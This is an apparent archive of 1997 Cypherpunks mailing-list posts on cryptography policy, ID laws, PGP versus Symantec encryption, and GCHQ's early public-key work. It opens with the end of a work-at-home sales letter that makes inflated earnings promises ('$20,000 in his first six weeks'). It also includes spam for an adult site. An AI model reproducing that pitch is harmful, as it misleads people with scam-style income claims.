Envelopes Come To You Already Stamped And Addressed.

     This easy work is advertised by over thirty- five companies. But
they require that you pay $25.00 to $45.00 to register in their
program. And then the program seldom turns out to be what you'd
expect.

     That's where my book can help out. I describe the three kinds of
mail programs that pay one dollar per envelope. But there is only ONE
that I recommend. Not only is it more profitable overall, but you
don't have to pay any fee to do it. Not even a dollar. Read about "The
World's Best Dollar- Per- Envelope Program" in Chapter 4.

How To Avoid Disappointment

     So many worthless offers are commonly advertised that many
people give up before they come across a good one. That won't happen
to you when you have my book.

     It tells you exactly how to recognize and avoid worthless
offers. The most common ripoffs are covered in detail. This knowledge
 can save you a great deal of time and money.

     You can then take advantage of the many practical, down- to-
earth opportunities that are described. Ones that enable you to start
making money fast. Even just one extra source of income can make a big
difference in your standard of living.

Start To Earn Money In 48 Hours

     When you get the book, look over the many excellent
opportunities. Each listing includes a brief description of what is
offered. Write to the companies you like and request an application
form. They have openings right now, and they'll be happy to get you
started.

     You can begin to make money even faster if you choose one of the
programs or plans that the book describes in detail. I'll tell you
everything you need to know to get started. By taking a few simple
steps, you can already be making money just 48 hours after you receive
the book.

Unlimited No Nonsense Guarantee

    "Real Home Income" costs just $29.95 plus $3.00 for postage and
handling. I'm so confident you can make the money I've talked about
that I back it with a lifetime, money- back guarantee. If at any time
you feel the book has not helped you make all the money you want, just
send it back. I'll promptly send you a full refund of everything you
paid, including postage and tax.

     Start to enjoy more income and a better life as soon as
possible. Please complete the order form and mail it today.
Everything will be rushed to you by first class mail.


                                                           Sincerely,
                                                           Henry Summers

     P.S. I've recently discovered an amazingly profitable
            opportunity. One person I talked to made $20,000 in his
            first six weeks... working right at home in his spare
            time. It is not multi- level marketing. I've never seen
            anything like it before. I'l give you a toll free number
            to call so you can get started.



                          Please Print and Mail This Order Form to: 
cut here
-------------------------------------------------------------------------------------------------
ADVANCED NETWORK PROMOTIONS                           # 305   
P.O. Box 712102  
Santee, CA 92072- 2102                             

                      ( ) Yes, I would like to get started. Please rush me                       
                          "Real Home Income" under your lifetime money-
                           back guarantee. Enclosed is $29.95 plus $3.00 for
                           postage and handling.*  $32.95 total. (If you live in
                           California, please send $34.95)                             

          *Checks may be made payable to Advanced Network Promotions

Name____________________________________________ 


Address___________________________________________                              


City, State, Zip_____________________________________    
                                                 Internal Code [E21SB(w)1215]
-------------------------------------------------------------------------------------------------
cut here













































































































From rah at shipwright.com  Mon Dec 15 20:32:56 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 16 Dec 1997 12:32:56 +0800
Subject: Pitney Bowes Sponsors World's Only Center for AppliedCryptographic Research
Message-ID: 




--- begin forwarded text


From: clairew at mediaone.net
Date: Mon, 15 Dec 1997 21:09:22 -0500
MIME-Version: 1.0
To: rah at shipwright.com
Subject: Pitney Bowes Sponsors World's Only Center for Applied
Cryptographic Research
X-Priority: 3 (Normal)

Pitney Bowes Sponsors World's Only Center for Applied Cryptographic
Research
 STAMFORD, Conn.--(BUSINESS WIRE)--Dec. 15, 1997--

    Messaging Leader Teams With The University of Waterloo,
    Certicom Corp. and The National Science Education and

    Research Council of Canada

    In an age of explosive growth of electronic commerce, effective
protection of data storage and communications is vital.

    Pitney Bowes Inc. (NYSE:PBI), is supporting and funding critical
research into protection of electronic commerce at one of the most
highly acclaimed academic sources of cryptographic knowledge, the
University of Waterloo in Ontario, Canada.

    Pitney Bowes is partnering with Certicom Corp. of Toronto,
to found the Centre for Applied Cryptographic Research at the
University of Waterloo.  Both companies are joined by the National
Science Education and Research Council of Canada (NSERC) and
Communication and Information Technology Ontario (CITO) in the
creation of two Industrial Research Chairs in Cryptography.

    Cryptographic research delves into the process of coding data
for its protection and secure transfer.  Cryptography, in all of its
applications including data confidentiality, data integrity, and
user authentication, is an extremely powerful tool for protecting
information.

    Increasing research and knowledge of cryptography can ultimately
increase the efficiency with which businesses operate and open up
new business opportunities.

    Cryptography is one of the keys to doing business in the 21st
century according to Dr. Joseph Wall, chief technology officer of
Pitney Bowes Inc.  "We are proud to help create this research center
and anticipate significant advances in the technology and its
understanding.  We look forward to combining these advances with our
understanding of business applications to deliver solutions which
enhance confidentiality, security and integrity in the electronic
marketplace.

    "Pitney Bowes has been researching and using cryptographic
applications to help customers securely transmit data and funds since
the 1960s.  Cryptography will continue to be one of our technological
cornerstones as we design solutions which help customers manage
efficiently in their information-rich environment."

    Pitney Bowes is one of the largest users of applied cryptography
in the world.  For example, cryptographic technology is an important
component in the system which Pitney Bowes used to securely download
over $10 billion in postage revenues worldwide in 1996.  Known
commercially as Postage by Phone(R), Pitney Bowes developed and patented

the system in the 1960s, received U.S. postal approval to introduce
it to the marketplace in 1978, and expanded its usage to a variety
of applications in 18 countries.

    The chair at the University of Waterloo will be established in
association with the Natural Sciences Engineering Research Council
(NSERC).  The NSERC/Pitney Bowes chairholder will be Dr. Scott
Vanstone, a faculty member at St. Jerome's College, University of
Waterloo and Chief Cryptographer of Certicom Corp.  Professor
Vanstone will take up the chair on Jan. 1, 1998.

    He is one of the world's leading cryptographers and is co-author
of the 1997 book Handbook of Applied Cryptography.  The other
chair at the University will be sponsored by Certicom Corp., which
researches, develops and licenses advanced cryptographic
technologies.  The Certicom/NSERC chair will be Dr. Douglas Stinson,
author of Cryptography: Theory and Practice.

    With regard to mathematical cryptography and combinatorics, the
University of Waterloo is the leading university in Canada and with
the establishment of the Centre for Applied Cryptographic Research,
will be one of the top research and educational facilities in the
world.  Along with the core research group of Dr. Vanstone and Dr.
Stinson,
Dr. Leon Pintsov of Pitney Bowes will be a member of the scientific
advisory board of the Centre.

    Pitney Bowes is a $3.9 billion provider of products and services
that support the efficient management of messages and packages in
physical and digital form.  for more information about the company,
visit the company's Web site at: http://www.pitneybowes.com .

    --30--CB/np*  JS/np    RG/KDB/ny

CONTACT:
Pitney Bowes, Stamford
Sheryl Y. Battles, 203/351-6808

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From brianbr at together.net  Mon Dec 15 20:55:35 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 16 Dec 1997 12:55:35 +0800
Subject: Identity, Persistence, Anonymity, and Accountability--Part  I of II
Message-ID: <199712160446.XAA29704@mx02.together.net>



On 12/15/97 11:13 PM, Greg Broiles (gbroiles at netbox.com)  passed this 
wisdom:

>>>But note that there absolutely is no requirement in the United 
>>>States for ageneral form of identification. Non-drivers need not 
>>>have any form of I.D. And as we have seen in court cases, a la 
>>>Lawson v. Kolender (where a blackman in dreadlocks used to like to 
>>>walk the streets of San Diego...the copsstopped him many times and 
>>>jailed him for not having I.D. on him...the court ruled that people 
>>>don't have to present credentials issued by the state to walk the 
>>>public streets). 
>>
>>  In New Jersey there is a criminal offense called "failure to
>>properly identify" ... I don't know if its ever been tested, or if it
>>is still on the books, but as of ten years ago it was there. I think
>>it was a misdemeanor (in NJ the term is "petty disorderly persons
>>offense) I cannot imagine it as a felony.
>
>There's an important distinction between a requirement that you identify
>yourself accurately, and a requirement that you carry a particular form of
>identification. It is constitutional for the police to ask you what your
>name is, under certain circumstances - and you can face criminal charges if
>you lie. It is not, however, constitutional to require that you keep or
>carry identity cards or documents. (Modulo, of course, participation in
>activities like carrying a concealed weapon or driving. There are some
>people who believe that carrying special credentials should not be required
>when undertaking those activities, but very few or none of those people sit
>as judges, so their beliefs are comforting or pleasing but also
>insufficient to prevent conviction.) 

  I guess I am curious about being required to identify yourself ... if 
the cops have no probable cause to arrest you then what right do they 
have to know who you are? ... and should they have probable cause, why 
should you have to help them know who you are. I could see circumstances 
where forcing you to identify yourself would come under 
self-incrimination. I am sure they have ways of dealing with this ... 
what legal precedents are there concerning this?



Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

  "One of the deep mysteries to me is our logo, the symbol of lust
   and knowledge, bitten into, all crossed with in the colors of the
   rainbow in the wrong order. You couldn't dream of a more 
   appropriate logo: lust, knowledge, hope, and anarchy."
   -- Gassee - Apple Logo







From ravage at ssz.com  Mon Dec 15 21:22:22 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 16 Dec 1997 13:22:22 +0800
Subject: Fw: Jim Bell Sentenced (fwd)
Message-ID: <199712160537.XAA05115@einstein.ssz.com>



Forwarded message:

> Date: Mon, 15 Dec 1997 16:57:22 -0800
> From: Steve Schear 
> Subject: Re: Fw: Jim Bell Sentenced (fwd)
> 
> I think both you and Bell are in relatively good agreement on the problem,=
>  differing mainly on the means of a solution.

Well that is the litmus test after all, not the goals but rather the means.

>  Although, like you I have=
>  never considerd engaging in acts of violence to right the wrongs in our=
>  legal structure,

I wouldn't say that. I just can't justify them unless under direct physical
attack. I am *not* a pacifist.

> I also do not believe that the changes you wish can=
>  reasonably be expected to be achieved through legal and democratic means=
>  within our lifetimes.

I hadn't really entertained the condition that the 'fight' necessarily has
to end in my life time. It certainly didn't end in Thomas Jeffersons. I do
know that if we don't try we have zero chance of gaining any of them, let
alone all of them. And who knows what the future may bring. Personaly I give
the US about 20 years before a general political - economic - societal
breakdown occurs. I believe that it will be even less violent but just as
radical a change as the fall of the CCCP. I further believe that movement
will *demand* ethical and reasonably justifiable reference to the respective
constitutional documents. I also believe that within about a period of 10
years there will be a significant increase in the number of federal
amendments clarifying many of the very issues we discuss today. I believe
many things will drive the change. Among them medical technology which will
re-grow cloned organs to replace any damaged or diseased ones you may have.
I suspect that instead of terra-forming people will clone themselves and
geneticaly engineer the embryo to adapt to the relevant environemt (Hint:
Dougal Dixon). I believe this technology will fine tune the legal issues we
ponder today to a fine edge. I believe the 9th and 10th will be recognized
for the defining tests of all federal, state, and individual jurisdictional
issues. I believe that as a result of those changes individuals will benefit
by being considered equaly with federal and state views.

> Almost from the start of our nation, the actions of the Federal branches=
>  have proven that the Anti-Federalists were right, that the Constitution (as=
>  accepted) would not prevent their power grab.  Wasn't it Article 2, Section=
>  18 which was intended to prevent such abuse, and which was easily overcome=
>  by the SC's liberal interpretation in Maubery vs. Madison? =20

I believe that people will recognize the totality of the current issues as
the exact same excesses. People will realize that the camp that demanded
specific bills of rights have the right idea. As a result we will get through
indipendant state action several amendments. Those movements will be very
goal specific and short lived. They will further depend on the Internet for
their existance. I believe they will start with individuals in specific
points across the US getting in touch and defining a small and specific set
of goals (ie Demonstrate constitutionaly that individuals have a right to
doctor assisted suicide and that it is an invasion of individual privacy.).
As those goals percolate via passive and active processes across the
Internet a commen experience will grow. An important question to consider:
How long must you hold a sufficient totality of state representation to
consider and pass a constitutional amendment?

> Little has changed, nor it it likely to, within the system.  There's too=
>  much inertia and entrenched economic and political interest, including the=
>  electorate's acquiessence to limitations of their liberties in exchange for=
>  real or imagined protection from harm.  I can think of no instance when=
>  changes, of the magnitude of which you speak, were made during a peaceful=
>  transition.  Can you?

No. However, that proves nothing. Simply because something has not happened
is no guarantee it won't happen. In all of human history this is the first
time that the Internet has existed, photon transportation didn't exist as a
verifiable process until just recently, there is now a movement in the dog
lovers camp to save clonable samples of favorite pets in the hopes of
cloning their best loved pooch. Technology as succesful as ours breeds a
technocracy if it doesn't kill us.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec 15 21:24:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 16 Dec 1997 13:24:53 +0800
Subject: Radio Free Cypherpunks... (fwd)
Message-ID: <199712160540.XAA05167@einstein.ssz.com>



Forwarded message:

> Date: Mon, 15 Dec 1997 15:49:40 -0800
> From: Steve Schear 
> Subject: Re: Radio Free Cypherpunks... (fwd)
> 
> Over a year ago I started a heated thread on the Telecom Regulation list,=
>  "Basis of FCC jurisdiction," which posited that the Commerce Clause basis=
>  for FCC authority might not hold for very low power and tens of GHz=
>  transmissions.  My argument, in short, was that if a transmission couldn't=
>  reasonably be expected to be detectable (using common receiver technology)=
>  across state lines then the FCC shouldn't have jurisdition.

So, are you considering such a broadcast? What I envision is a
text-to-speech and/or a digital format.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From succuba97 at hotmail.com  Mon Dec 15 21:26:56 1997
From: succuba97 at hotmail.com (succuba97 at hotmail.com)
Date: Tue, 16 Dec 1997 13:26:56 +0800
Subject: "where would you find"
Message-ID: <19971213134637.succ2831.in@host>




The latest virtual  XXX entertainment  that is as good...well ALMOST as good as the REAL THING?


HERE


http://www.succuba.com

WARNING:

1.  YOU MUST BE OVER 18 YEARS OF AGE

2.  YOU MUST HAVE A STRONG HEART ;)

3.  IT'S HOTTTTTTTT ;}






From ravage at ssz.com  Mon Dec 15 21:37:38 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 16 Dec 1997 13:37:38 +0800
Subject: Identity, Persistence, Anonymity, and Accountability--Part  I of II (fwd)
Message-ID: <199712160552.XAA05318@einstein.ssz.com>



Forwarded message:

> Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part  I of II
> Date: Mon, 15 Dec 97 23:47:07 -0500
> From: "Brian B. Riley" 

> >identification. It is constitutional for the police to ask you what your
> >name is, under certain circumstances - and you can face criminal charges if
> >you lie.

Where in the Constitution is the relevant sentence(s)? There is no mention
of police rights in the Constitution and therefor they have no more rights
than you do.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From abdiel at worldnet.att.net  Tue Dec 16 00:09:47 1997
From: abdiel at worldnet.att.net (Alex Woolfson)
Date: Tue, 16 Dec 1997 16:09:47 +0800
Subject: A gauntlet thrown down by PC-Magic?
Message-ID: <000401bd09f8$f4615200$07a1400c@default>



Hey guys

Just FYI here is the response I got from PC-Magic.

-----Original Message-----
From: Scott Chaney 
To: Alex Woolfson 
Date: Monday, December 15, 1997 4:02 PM
Subject: Re: Encrypted Magic Folders


>Thanks for the feedback.  We are considering an established standard.
>
>BTW, for all the "crap" we get from supposed crypto experts no one has
>come close to breaking our method.  It does make for humorous reading
>tho.
>
>Scott
>
>

Anyone care to take him up on his challenge?  Please say yes.  :-)

Alex






From frantz at netcom.com  Tue Dec 16 00:12:07 1997
From: frantz at netcom.com (Bill Frantz)
Date: Tue, 16 Dec 1997 16:12:07 +0800
Subject: hashcash spam prevention & firewalls (fwd)
In-Reply-To: <199712131409.IAA22278@einstein.ssz.com>
Message-ID: 



At 6:09 AM -0800 12/13/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Fri, 12 Dec 1997 20:24:59 -0800
>> From: Bill Frantz 
>> Subject: Re: hashcash spam prevention & firewalls
>
>> I think there needs to be a story for mailing lists.  It might be
>> acceptable for the first pass to allow spamming of mailing lists but not of
>> individuals email addresses.  (Apologies in advance to list moderators.)
>
>We have a moderator? This is news to me and I suspect the other CDR
>operators. Who is this person please, I would very much like to discuss a
>couple of issues with them...

This isn't the only mailing list in the world.  Some lists do have moderators.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz at netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA







From ichudov at Algebra.COM  Tue Dec 16 00:26:48 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 16 Dec 1997 16:26:48 +0800
Subject: Could you please PGP sign this MD5 sum?
Message-ID: <199712160820.CAA19094@manifold.algebra.com>



I would like to kindly ask you to sign this md5 sum with your PGP
keys, and return it to me signed. I would also appreciate a copy
of your PGP key.

Thank you very much.


``I testify that I did see this MD5 checksum around Dec 16, 1997.


	f3bffc327bf88846bc1d790c56da0ffb  caleidoscope.fixed.txt. ''

Signed,

	- 






From pgut001 at cs.auckland.ac.nz  Tue Dec 16 18:27:08 1997
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 16 Dec 1997 18:27:08 -0800 (PST)
Subject: UK spooks invent RSA, DH in 1973
Message-ID: <88232561207378@cs26.cs.auckland.ac.nz>


There's an interesting paper at http://www.cesg.gov.uk/ellisint.htm which 
claims that UK spooks invented both RSA and DH in 1973 and 1974 respectively.
The summary info is:

>This paper by James Ellis was written in 1987. It was commissioned shortly 
>after his retirement to provide a first-hand historical account of the early 
>work by James and others in CESG, discovering the techniques that were later 
>to become known as Public Key Cryptography. Although there would have been
>some academic interest in the paper back in 1987, it was decided on balance 
>to keep the record internal and accordingly the paper was given a low
>classification and retained within CESG. 
>
>Since 1987 there have been three aspects which have created enormous changes 
>for CESG. First, the growth in the need for secure communications for 
>confidentiality and authentication has vastly increased key management 
>requirements. Second, the increase in processing speed has enabled large 
>arithmetical computations to be practicable. Third, the 1994 RPS gave CESG 
>responsibility for the communications security of the entire UK government 
>market. PKC is now seen as the best if not the only method for allowing wide 
>area many-user secure communications. With this increase in CESG's external 
>visibility there has been a growing desire for greater openness.
>
>During the past 11 years there had been no urgency to publish the paper, but 
>the necessary spark came when Clifford Cocks solved an important problem that 
>had been highlighted at a recent 'RSA' conference. Cliff is presenting this 
>solution in a paper at the IMA Conference on Cryptography and Coding in
>Cirencester. Since he was one of the main contributors to our early work it 
>was clearly the right opportunity to set the record straight. As the paper 
>was being prepared for publication we heard that James had become very ill. 
>He died before the paper was published. We now publish it as a testament to 
>his imaginative and ground-breaking work.

(The paper was mentioned on a UK crypto list, but I've lost the original 
 reference).

Peter.







From Promo at NuYenta.com  Tue Dec 16 19:48:24 1997
From: Promo at NuYenta.com (NuYenta)
Date: Tue, 16 Dec 1997 19:48:24 -0800 (PST)
Subject: http://www.nuyenta.com
Message-ID: <199712170345.WAA16976@advn.com>


Dear Friend,

NuYenta (www.nuyenta.com) is an online service designed to provide
traditional Jewish matchmaking to the Gay, Lesbian, Bisexual and
Transgender friends and members of the world-wide Jewish community. As a
guest you can look for a match and get your own profile... and it's FREE!

At NuYenta members and guests begin to know about each other by matching
profiles. You can even include a photograph of yourself. NuYenta provides
you with anonymous email and chat rooms for contacting other members and
guests. We even have a bookstore specializing in books specifically written
for the Gay, Lesbian, Bisexual and Transgender friends and members of the
Jewish community.

If you are looking for that special someone or would like to make some new
friends then visit NuYenta. As a guest you can look for a match and get
your own profile... and it's FREE!

Visit NuYenta at http://www.nuyenta.com






From nobody at REPLAY.COM  Tue Dec 16 04:19:10 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 16 Dec 1997 20:19:10 +0800
Subject: The Joys of Being Canadian
Message-ID: <199712161205.NAA23776@basement.replay.com>



>Phone Company Rep:  "What's your Social Security number?
>Answer:  "I don't have one.  I'm Canadian."
>
>Power Company Rep:  "What's your Social Security number?
>Answer:  "I don't have one.  I'm Canadian."
>
>Cable Company Rep:  "What's your Social Security number?
>Answer:  "I don't have one.  I'm Canadian."
>
>Doctor to Seasoned Citizen:  "I can't treat you privately or I'll be barred
>from taking Medicare patients for two years."
>Answer:  "Sure you can.  I'm Canadian."

Now the question is: When they find out you lied will they care?






From adam at homeport.org  Tue Dec 16 06:26:25 1997
From: adam at homeport.org (Adam Shostack)
Date: Tue, 16 Dec 1997 22:26:25 +0800
Subject: A gauntlet thrown down by PC-Magic?
In-Reply-To: <000401bd09f8$f4615200$07a1400c@default>
Message-ID: <199712161415.JAA29894@homeport.org>





Alex Woolfson wrote:
| Just FYI here is the response I got from PC-Magic.
| -----Original Message-----
| From: Scott Chaney 
| To: Alex Woolfson 
| Date: Monday, December 15, 1997 4:02 PM
| Subject: Re: Encrypted Magic Folders

| >Thanks for the feedback.  We are considering an established standard.
| >
| >BTW, for all the "crap" we get from supposed crypto experts no one has
| >come close to breaking our method.  It does make for humorous reading
| >tho.

| Anyone care to take him up on his challenge?  Please say yes.  :-)

	No.

	We need to educate the public that this is not an acceptable
answer, not provide free cryptanalysis to every company that comes
along.

	It took 3 years to break knapsack.  The week before it
happened, no one had come close.  That was not a good reason to be
using it.

Adam




-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From vin at shore.net  Tue Dec 16 08:44:57 1997
From: vin at shore.net (Vin McLellan)
Date: Wed, 17 Dec 1997 00:44:57 +0800
Subject: Comparing PGP to Symantec's Secret Stuff
Message-ID: 



(I just posted this in a discussion on alt.security.pgp, and thought it
might also be of interest to the List. _Vin)

   ALCO Jakarta  queried the Newsgroup:

> Could anyone give me a quick trun-down on the difference between these two
> programs and which one is more secure? Is the latter more practical to use
> than PGP 2.6.2?

   That's comparing real crypto vs a sophisticated version of the Captain
Crunch crypto ring.

   PGP in all of its forms uses strong crypto, which is why it is
difficult to legally export it from the US to any overseas entity, except
branches and subsidiaries of US firms.  (Thus, the effort to sustain the
international version of PGP, and PhilZ's long travail while the US govt
tried to investigate how those sneaky non-Yanks got their hands on this
oh-so-useful RSA/IDEA utility.)

   Norton Secret Stuff secures the data using the 32-bit Blowfish
encryption algorithm -- which is why it's approved for unrestricted export
outside the US by the U.S. government.

   It's far better than, say, ROT13 -- but it would not provide meaningful
confidentiality or security for anything of any worth, or anything which
might otherwise spur a curious and clever grad student to spend somewhere
between a couple hours (with a college computer lab at his proposal) to a
few days (on a fast PC) doing a brute force search of all possible 32-bit
keys.

   A more complex comparison would put PGP against Norton's YEO, but that
too is an apples to oranges matchup, albiet with strong crypto on both
sides.  PGP was designed to be a mail encyptor. YEO -- with RSA + RC4,
RC5, DES, DES3, and Blowfish too, I think -- was designed as a file and
disk encryptor.  Each is optimized for its primary function.

   The lack of published source code is an issue, but if you see such a
product being purchased by multinationals or US defense contractors you
can be certain the implementation -- which is the real arena of
vulnerability, once the algorithm is chosen -- has been carefully studied
by informed cryptographers. (For non-American product, look for similar
purchases by government-connected agencies in the vendor's nation.)

   You don't sound like the source code is going to do _you_ any good,
right? Like most buyers, you have to trust the judgement of talented pros
somewhere.

>
> I use PGP and don't find it's use so difficult to master even as a rookie
> in cryptographic matters. But this Secret Stuff program is commerical so I
> don't trust it's degree of security to gov't snooping based on my suspicion
> of corporate submission to gov't will. Is that a reasonable assumption?


   Actually, corporate or commercial products are better than that.

   Secret Stuff is overtly weak crypto.  It's also free from Symantec.

   Norton YEO from Symantec, or any competitive heavy-duty product like
RSA SecurPC, will be clearly labelled as to the relative strength (key
length) of their crypto -- strong for domestic user; weak for the intl
mass market -- in terms anyone with a basic understanding of crypto and
crypto export regs can understand.  Export permits for the strong domestic
versions of products like these will be all but impossible to obtain for
mass market sales to non-American individuals. (Neither of these firms
probably sells or even tries to sell the export version overseas; the
weaker products exist largely because US corporate buyers demand an
interoperable product that _can_ be shipped to overseas associates.)

   Export permits to ship the strong-crypto version of these products
American corporations will require that the vendor have a key recovery
mechanism -- no big deal, since we are dealing with stored files, so
backup access is a standard requirement for disaster recovery -- which is
to be held by the US firm in a location which makes it accessible to legal
US court orders.

   Any and all US firms will respond to a legal court order to provide
information.  (Commercial firms in other nations will provide any info
they hold when confronted with a court order too, right?)

   It is always rash to expect any commercial firm in any nation to be
either a martyr or an arbiter of moral or political issues. Corporate
officers have fiduciary responsibilities and they can be replaced.
Corporations get a set of rules from the society in which they operate,
and then -- within the context of those rules -- they seek to maximize
their profit and their stockholders' return on investment with a certain
degree of ruthless intensity.

   That's the nature of the beast.

   When corporate self-interest and some corporate executive's personal
philosophy line up, we get some interesting fireworks -- sometimes even
heroic moments which dramatically change the course of a government's
industrial policy, as in the US banks vehement rejection of the NSA's CCEP
and Clipper programs.  The apparent exception really validates the rule.
It's really rare for the US govt to try to overtly challenge or crush an
American firm like they did with RSADSI for a decade. The NSA tried to
bully the US banking industry and got handed its collective head -- and
got branded as naive and turned into something of a laughingstock as well.

   On the other hand, commercial vendors which provide a product for sale
have to describe and warranty that product as having certain
properties.  If those products are used by individuals or commercial
customers and fail to measure up to their advance billing, the vendor is
thereafter liable for significant (even company-threatening) losses, in
both recompense and punitive damages.

   That's commercial law in the US -- no matter what sort of mealy-mouth
language might be in the shrink-wrap license. US lawyers get a blueprint
of an altar upon which they can sacrifice such firms when they get their
law degree.

   Corporate "submission to gov't will" is a real issue, particularly for
vendors of privacy and security tech -- but for US firms, it is far more
likely to play out formally (as with a court order for a message recovery
key) or in some negotiated backroom deal where the government demands some
feature added, or asks for some feature to be removed from free-market
product, before the vendor is given some commercial advantage like a
government contract, or GSA approval, or an export permit.

   You see the whole American IT industry being put through this sort of
blackmail in the current US crypto export policy.  Only vendors which have
or agree to design key/message "recovery" mechanisms in file or
communications crypto apps get export permits to ship their 56-bit
versions of their crypto products -- or (among other vendors,)
crypto-enhanced applications like RDBSs and operating systems -- to the
international market.

   Nothing subtle or secret about that -- and historically, the model has
probably been pretty much the same, if less blatent.

   US export controls in crypto exist to bludgeon the vendors, so that the
US govt can obtain something it wants in that company's domestic or
overseas product lines. (It certainly does not restrict the international
bad guy's access to strong crypto, no matter what the latest Four Horseman
propaganda is.)

   Today, I think this leverage is probably being applied more on the big
US vendors of operating systems and networking software and major
applications -- all of which require crypto for their commercial products
today -- than it is upon the puny crypto vendors (who are, relatively
speaking, small potatos and aren't allowed to sell strong versions of
their products -- even with message-recovery -- to anyone interesting,
anyway;-)

   In commercial encryption products, the hidden backdoors of myth and
legend are far less likely, given the liability issue and US commercial
law.

   Overt and well-labelled backdoors are a different story. 

   Surete,
            _Vin

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild +     *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548







From comsec at nym.alias.net  Tue Dec 16 08:48:45 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Wed, 17 Dec 1997 00:48:45 +0800
Subject: UCENET II and Peter duh Silva
In-Reply-To: <66iaur$foc$1@chronicle.austx.tandem.com>
Message-ID: <19971216164009.23206.qmail@nym.alias.net>



-----BEGIN PGP SIGNED MESSAGE-----

Information Security  wrote:

> :   While that's technically true, it's even more true of non-anonymous e-mail
> :   addresses.  Usenet posts are much easier to forge than PGP signatures, and
> :   it's quite simple to sign up for a throwaway e-mail account under an assumed
> :   name.  It's not very secure from a privacy standpoint, but it's even less
> :   secure from a "positive ID" POV.
> :  
> :   At least with a PGP-signed anonymous post, readers are alerted up front that
> :   they are reading the work of an author who is withholding his/her identity.
> :   But if you read a post from "john_smith at hotmail.com", is it really someone
> :   named "John Smith" or not?
>    
> I'm not following this...anyone can generate PGP keys, and digital signatures
> are not necessary to indentify an account...

Sure, anyone can generate a PGP key.  It's almost as easy as generating a
throwaway e-mail address.  And what does posting from a certain e-mail address
or signing one's post with a certain PGP key prove?  It proves that the poster
KNEW a certain piece of INFORMATION, either an account password or a PGP
secret key.  It's usually inferred that the person who possesses that
information is the person who generated it.  Of the two, guessing a PGP
secret key is orders of magnitude harder than guessing someone's password,
logging on, and impersonating them.

In addition, PGP signing is "portable".  No matter where I post from, if I
sign my post with the same key, you can assume it's me who posted it.  It's 
more difficult to do that with an e-mail address.  Let's say that you have a
common name like "John Smith" and you post as jsmith at someisp.com.  Are you
saying that's your "identity"?  What if Someisp, Inc. suddenly files for
bankruptcy and shuts down without warning?  Did you lose your identity?

You could open a new account as "jsmith" somewhere else and claim you are
the same person who previously posted as jsmith at someisp.com, but so could
anyone else who desired to impersonate you.  If you were signing your posts
with a PGP key, then all you'd have to do is make a post from your new ISP,
sign it with the same key, and your "identity" is "transferred".

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJahmQbp0h8ZvosNAQEqmAf+IG/gtP4flSv/RPP7530NuD5MeMgH8WGo
75E/o+3GkN5Ksl0hL0bdpUhDvqeHnwsdc2xO5j0UEzqIZGKapa1YvJGK0wrUU/FB
UrUzcrHkvtXAdJD8GRTaA/Xgzjh2eJGOImzaIHbPOZBa4MPxYm7bEZaroHR2G2IP
AkNFbJzBETP9nLmePupRSqmhN8GwC5BLRLjkXLDDXJ/9s04vNoBGUEsv4aA0iRad
cdkHjHSs9FfOOTJPPG+GdDA+Z1LuyjnugcoTfYPtsu7PwgWE/tAxOCVPI6sHrhze
